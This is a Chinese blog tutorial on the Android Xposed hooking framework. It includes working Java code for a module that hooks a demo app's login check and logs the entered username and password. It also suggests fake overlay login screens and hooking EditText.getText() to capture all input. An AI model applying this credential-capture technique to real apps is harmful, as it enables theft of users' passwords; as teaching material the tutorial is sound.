Android Hook神器——XPosed入门(登陆劫持演示)

前段时间写了一篇有关于CydiaSubstrate的广告注入的文章(地址:http://blog.csdn.net/yzzst/article/details/47318751),大家都直呼过瘾。但是,真正了解这一方面的同学应该这道,其实还有一个比CydiaSubstrate更出名的工具:XPosed。

不是因为Xposed比CydiaSubstrate做的多好,而是Xposed是彻底开源的。今天,我们就向大家简单的介绍一下Xposed,并书写一个简单的登陆劫持demo,让大家快速的入门学习Xposed。


Xposed

Xposed框架是一款可以在不修改APK的情况下影响程序运行(修改系统)的框架服务,通过替换/system/bin/app_process程序控制zygote进程,使得app_process在启动过程中会加载XposedBridge.jar这个jar包,从而完成对Zygote进程及其创建的Dalvik虚拟机的劫持。


基于Xposed框架可以制作出许多功能强大的模块,且在功能不冲突的情况下同时运作。

此外,Xposed框架中的每一个库还可以单独下载使用,如Per APP Setting(为每个应用设置单独的dpi或修改权限)、Cydia、XPrivacy(防止隐私泄露)、BootManager(开启自启动程序管理应用)对原生Launcher替换图标等应用或功能均基于此框架。

官网地址:http://repo.xposed.info/。 
源码地址:https://github.com/rovo89


Xposed框架是基于一个Android的本地服务应用XposedInstaller与一个提供API 的jar文件来完成的。

所以,安装使用Xposed框架我们需要完成以下几个步骤:

安装本地服务XposedInstaller 
需要安装XposedInstall.apk本地服务应用,我们能够在其官网的framework栏目中找到,下载并安装。地址为:

http://repo.xposed.info/module/de.robv.android.xposed.installer

安装好后进入XposedInstaller应用程序,会出现需要激活框架的界面,如图8-5所示。这里我们点击“安装/更新”就能完成框架的激活了。部分设备如果不支持直接写入的话,可以选择“安装方式”,修改为在Recovery模式下自动安装即可。

因为安装时会存在需要Root权限,安装后会启动Xposed的app_process,所以安装过程中会存在设备多次重新启动。

TIPS:由于国内的部分ROM对Xposed不兼容,如果安装Xposed不成功的话,强制使用Recovery写入可能会造成设备反复重启而无法正常启动。

下载使用API库

其API库XposedBridgeApi-.jar(version是XposedAPI的版本号,如我们这里是XposedBridgeApi-54.jar)文件,我们能够在Xposed的官方支持xda论坛找到,其地址为:

http://forum.xda-developers.com/xposed/xposed-api-changelog-developer-news-t2714067

下载完毕后我们需要将 Xposed Library 复制到 lib目录(注意是 lib 目录不是Android提供的 libs 目录),然后将这个 jar 包添加到 Build PATH 中

如果直接将jar包放置到了libs目录下,很可能会产生错 误“IllegalAccessError: Class ref in 
pre-verified class resolved to unexpected 
implementation”。 
估计Xposed作者在其框架内部也引用了BridgeApi,这样操作避免重复引用。


实战,登陆劫持(原理)

之前跟大家也说过使用CydiaSubstrate进行广告注入(地址:http://blog.csdn.net/yzzst/article/details/47318751),很多网友问我,就只能简单的注入一个广告,还能做什么吗?

登陆劫持!!!,你没听错,今天我们这里就简单的演示一下,如何对一个应用程序的登陆功能进行劫持,并把账号密码打印出来。

如我们常见的登陆劫持,就是使用到了Hook技术来完成的。那么这个登陆劫持是如何完成的呢?下面我们就具体来看看,一个我们在开发中常见到的登陆例子。首先我们看看一个常见的登陆界面是什么样子的。

其对应的登陆流程代码如下所示:

<code class="hljs java has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 登陆按钮的onClick事件</span>
mLoginButton.setOnClickListener(<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">new</span> OnClickListener() {

    <span class="hljs-annotation" style="color:#9b859d;box-sizing: border-box;">@Override</span>
<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">onClick</span>(View v) {
    <span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 获取用户名</span>
        String username = mUserEditText.getText() + <span class="hljs-string" style="color:#0880;box-sizing: border-box;">""</span>;
        <span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 获取密码</span>
        String password = mPasswordEditText.getText() + <span class="hljs-string" style="color:#0880;box-sizing: border-box;">""</span>;

        <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">if</span> (isCorrectInfo(username, password)) {
            Toast.makeText(MainActivity.<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">this</span>, <span class="hljs-string" style="color:#0880;box-sizing: border-box;">"登陆成功!"</span>, Toast.LENGTH_LONG).show();
        } <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">else</span> {
            Toast.makeText(MainActivity.<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">this</span>, <span class="hljs-string" style="color:#0880;box-sizing: border-box;">"登陆失败!"</span>, Toast.LENGTH_LONG).show();
        }
    }
});</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li><li style="box-sizing: border-box; padding: 0px 5px;">17</li></ul>

我们会发现,登陆界面上面的用户信息都是存储在EditText控件上,然后通过用户手动点击“登陆”按钮才会将上面的信息发送至服务器端去验证账号与密码是否正确。这样就很简单了,黑客们只需要找到开发者在使用EditText控件的getText方法后进行网络验证的方法,Hook该方法,就能劫持到用户的账户与密码劫了。

TIPS:当然,我们也可以仿照上之前CydiaSubstrate的广告注入例子(地址:http://blog.csdn.net/yzzst/article/details/47318751),做一个一模一样的Activity,在劫持原Activity优先弹出来,达到欺骗用户获取密码的目的。

具体流程如下:


实战,登陆劫持(编码)

明白了原理下面我们就实际的操作一次,这里我们选择使用Xposed框架来操作。使用Xposed进行Hook操作主要就是使用到了Xposed中的两个比较重要的方法,handleLoadPackage获取包加载时候的回调并拿到其对应的classLoader;findAndHookMethod对指定类的方法进行Hook。它们的详细定义如下所示:

<code class="hljs scala has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">  <span class="hljs-javadoc" style="color:#8800;box-sizing: border-box;">/**
     * 包加载时候的回调
     */</span>
public void handleLoadPackage(<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">final</span> LoadPackageParam lpparam)


<span class="hljs-javadoc" style="color:#8800;box-sizing: border-box;">/**
     * Xposed提供的Hook方法
     * 
     * <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@param</span> className 待Hook的Class
     * <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@param</span> classLoader classLoader
     * <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@param</span> methodName 待Hook的Method
     * <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@param</span> parameterTypesAndCallback hook回调
     * <span class="hljs-javadoctag" style="color:#66066;box-sizing: border-box;">@return</span> 
     */</span>
Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback) </code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li></ul>

当然,我们使用Xposed进行Hook也分为如下几个步骤:

1. 在AndroidManifest.xml文件中配置插件名称与Api版本号

<code class="hljs xml has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-tag" style="color:#06666;box-sizing: border-box;"><<span class="hljs-title" style="color:#0088;box-sizing: border-box;">application
</span>        <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:allowBackup</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"true"</span>
        <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:icon</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"@drawable/ic_launcher"</span>
        <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:label</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"@string/app_name"</span>
        <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:theme</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"@style/AppTheme"</span> ></span>

        <span class="hljs-tag" style="color:#06666;box-sizing: border-box;"><<span class="hljs-title" style="color:#0088;box-sizing: border-box;">meta-data
</span>            <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:name</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"xposedmodule"</span>
            <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:value</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"true"</span> /></span>
        <span class="hljs-comment" style="color:#8800;box-sizing: border-box;"><!-- 模块描述 --></span>
        <span class="hljs-tag" style="color:#06666;box-sizing: border-box;"><<span class="hljs-title" style="color:#0088;box-sizing: border-box;">meta-data
</span>            <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:name</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"xposeddescription"</span>
            <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:value</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"一个登陆劫持的样例"</span> /></span>
        <span class="hljs-comment" style="color:#8800;box-sizing: border-box;"><!-- 最低版本号 --></span>
        <span class="hljs-tag" style="color:#06666;box-sizing: border-box;"><<span class="hljs-title" style="color:#0088;box-sizing: border-box;">meta-data
</span>            <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:name</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"xposedminversion"</span>
            <span class="hljs-attribute" style="color:#66066;box-sizing: border-box;">android:value</span>=<span class="hljs-value" style="color:#0880;box-sizing: border-box;">"30"</span> /></span>
<span class="hljs-tag" style="color:#06666;box-sizing: border-box;"></<span class="hljs-title" style="color:#0088;box-sizing: border-box;">application</span>></span></code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li><li style="box-sizing: border-box; padding: 0px 5px;">17</li><li style="box-sizing: border-box; padding: 0px 5px;">18</li></ul>

2. 新建一个入口类并继承并实现IXposedHookLoadPackage接口

如下操作,我们新建了一个com.example.loginhook.Main的类,并实现IXposedHookLoadPackage接口中的handleLoadPackage方法,将非com.example.login包名的应用过滤掉,即我们只操作包名为com.example.login的应用。如下所示:

<code class="hljs java has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-class" style="box-sizing: border-box;"><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">class</span> <span class="hljs-title" style="color:#66066;box-sizing: border-box;">Main</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">implements</span> <span class="hljs-title" style="color:#66066;box-sizing: border-box;">IXposedHookLoadPackage</span> {</span>

    <span class="hljs-javadoc" style="color:#8800;box-sizing: border-box;">/**
     * 包加载时候的回调
     */</span>
    <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">handleLoadPackage</span>(<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">final</span> LoadPackageParam lpparam) <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">throws</span> Throwable {
        <span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 将包名不是 com.example.login 的应用剔除掉</span>
        <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">if</span> (!lpparam.packageName.equals(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"com.example.login"</span>))
            <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">return</span>;
        XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"Loaded app: "</span> + lpparam.packageName);
    }
}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li></ul>

3. 声明主入口路径

需要在assets文件夹中新建一个xposed_init的文件,并在其中声明主入口类。如这里我们的主入口类为com.example.loginhook.Main

4. 使用findAndHookMethod方法Hook劫持登陆信息

这是最重要的一步,我们之前所分析的都需要到这一步进行操作。如我们之前所分析的登陆程序,我们需要劫持就是需要Hook其com.example.login.MainActivity中的isCorrectInfo方法。我们使用Xposed提供的findAndHookMethod直接进行MethodHook操作(与Cydia很类似)。在其Hook回调中使用XposedBridge.log方法,将登陆的账号密码信息打印至Xposed的日志中。具体操作如下所示:

<code class="hljs java has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">import</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">static</span> de.robv.android.xposed.XposedHelpers.findAndHookMethod;
<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-class" style="box-sizing: border-box;"><span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">class</span> <span class="hljs-title" style="color:#66066;box-sizing: border-box;">Main</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">implements</span> <span class="hljs-title" style="color:#66066;box-sizing: border-box;">IXposedHookLoadPackage</span> {</span>

    <span class="hljs-javadoc" style="color:#8800;box-sizing: border-box;">/**
     * 包加载时候的回调
     */</span>
    <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">public</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">handleLoadPackage</span>(<span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">final</span> LoadPackageParam lpparam) <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">throws</span> Throwable {

        <span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// 将包名不是 com.example.login 的应用剔除掉</span>
        <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">if</span> (!lpparam.packageName.equals(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"com.example.login"</span>))
            <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">return</span>;
        XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"Loaded app: "</span> + lpparam.packageName);

        <span class="hljs-comment" style="color:#8800;box-sizing: border-box;">// Hook MainActivity中的isCorrectInfo(String,String)方法</span>
        findAndHookMethod(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"com.example.login.MainActivity"</span>, lpparam.classLoader, <span class="hljs-string" style="color:#0880;box-sizing: border-box;">"isCorrectInfo"</span>, String.class,
                String.class, <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">new</span> XC_MethodHook() {

                    <span class="hljs-annotation" style="color:#9b859d;box-sizing: border-box;">@Override</span>
                    <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">protected</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">beforeHookedMethod</span>(MethodHookParam param) <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">throws</span> Throwable {
                        XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"开始劫持了~"</span>);
                        XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"参数1 = "</span> + param.args[<span class="hljs-number" style="color:#06666;box-sizing: border-box;">0</span>]);
                        XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"参数2 = "</span> + param.args[<span class="hljs-number" style="color:#06666;box-sizing: border-box;">1</span>]);
                    }

                    <span class="hljs-annotation" style="color:#9b859d;box-sizing: border-box;">@Override</span>
                    <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">protected</span> <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">void</span> <span class="hljs-title" style="box-sizing: border-box;">afterHookedMethod</span>(MethodHookParam param) <span class="hljs-keyword" style="color:#0088;box-sizing: border-box;">throws</span> Throwable {
                        XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"劫持结束了~"</span>);
                        XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"参数1 = "</span> + param.args[<span class="hljs-number" style="color:#06666;box-sizing: border-box;">0</span>]);
                        XposedBridge.log(<span class="hljs-string" style="color:#0880;box-sizing: border-box;">"参数2 = "</span> + param.args[<span class="hljs-number" style="color:#06666;box-sizing: border-box;">1</span>]);

                    }
                });
    }

}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li><li style="box-sizing: border-box; padding: 0px 5px;">13</li><li style="box-sizing: border-box; padding: 0px 5px;">14</li><li style="box-sizing: border-box; padding: 0px 5px;">15</li><li style="box-sizing: border-box; padding: 0px 5px;">16</li><li style="box-sizing: border-box; padding: 0px 5px;">17</li><li style="box-sizing: border-box; padding: 0px 5px;">18</li><li style="box-sizing: border-box; padding: 0px 5px;">19</li><li style="box-sizing: border-box; padding: 0px 5px;">20</li><li style="box-sizing: border-box; padding: 0px 5px;">21</li><li style="box-sizing: border-box; padding: 0px 5px;">22</li><li style="box-sizing: border-box; padding: 0px 5px;">23</li><li style="box-sizing: border-box; padding: 0px 5px;">24</li><li style="box-sizing: border-box; padding: 0px 5px;">25</li><li style="box-sizing: border-box; padding: 0px 5px;">26</li><li style="box-sizing: border-box; padding: 0px 5px;">27</li><li style="box-sizing: border-box; padding: 0px 5px;">28</li><li style="box-sizing: border-box; padding: 0px 5px;">29</li><li style="box-sizing: border-box; padding: 0px 5px;">30</li><li style="box-sizing: border-box; padding: 0px 5px;">31</li><li style="box-sizing: border-box; padding: 0px 5px;">32</li><li style="box-sizing: border-box; padding: 0px 5px;">33</li><li style="box-sizing: border-box; padding: 0px 5px;">34</li><li style="box-sizing: border-box; padding: 0px 5px;">35</li></ul>

5. 在XposedInstaller中启动我们自定义的模块 
编译后安装在Android设备上的模块应用程序不会立即的生效,我们需要在XpasedInstaller模块选项中勾选待启用的模块才能让其正常的生效。如 

6. 重启验证 
重启Android设备,进入XposedInstaller查看日志模块,因为我们之前使用的是XposedBridge.log方法打印log,所以log都会显示在此处。我们发现我们需要劫持的账号密码都显示再来此处。

这里写图片描述

TIPS:这里我们是通过逆向分析该登陆页面的登录判断调用函数来完成Hook与劫持工作的。有些读者应该想出来了,我们能不能直接Hook系统中提供给我们的控件EditText(输入框控件)中的getText()方法进行Hook呢?这样我们就能够对系统中所有的输入进行监控劫持了。这里留给大家一个思考,感兴趣的读者可以尝试一下。


原文地址: http://blog.csdn.net/yzzst/article/details/47659479

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值